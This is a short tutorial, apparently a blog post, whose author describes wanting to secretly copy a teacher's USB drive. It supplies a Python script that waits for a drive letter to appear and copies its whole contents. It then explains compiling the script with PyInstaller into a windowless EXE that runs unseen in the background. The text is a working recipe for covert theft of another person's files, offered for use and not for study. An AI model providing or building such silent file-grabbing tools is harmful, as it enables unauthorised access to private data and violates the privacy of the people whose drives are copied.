How to Auto‑Copy USB Files with a Simple Python Script and Turn It into a Silent Windows EXE

Introduction

When I was a university student I wanted a program that could silently copy the contents of a teacher's USB drive. It turns out a few lines of Python can do this, and the script can be compiled into a Windows executable that runs in the background.

Python script

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil

# USB drive letter
usb_path = "E:/"
# Destination folder
save_path = "D:/haha"

while True:
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

Replace usb_path with the drive letter of your USB stick and save_path with the folder where you want the copied files.

Packaging the script into an EXE

Install PyInstaller and the required Windows extension pywin32: pip install pyinstaller Download the matching pywin32 installer for your Python version and architecture.

Then run PyInstaller with the desired options, for example: pyinstaller -F yourprogram.py Common options: -F – create a single‑file executable. -D – create a directory with the executable and dependencies. -c – console mode (default). -w – windowed mode, no console. -p – add a search path for additional libraries. -i – specify an icon file for the executable.

Example

Assuming you have a script test.py located at D:\project, you can build a single‑file executable with: pyinstaller -F D:\project\test.py To hide the console window add -w: pyinstaller -F -w D:\project\test.py To set a custom icon use -i followed by the path to an .ico file:

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

After building, double‑click the generated EXE; it runs silently in the background, monitors for the USB drive, copies its contents to the specified folder, and exits.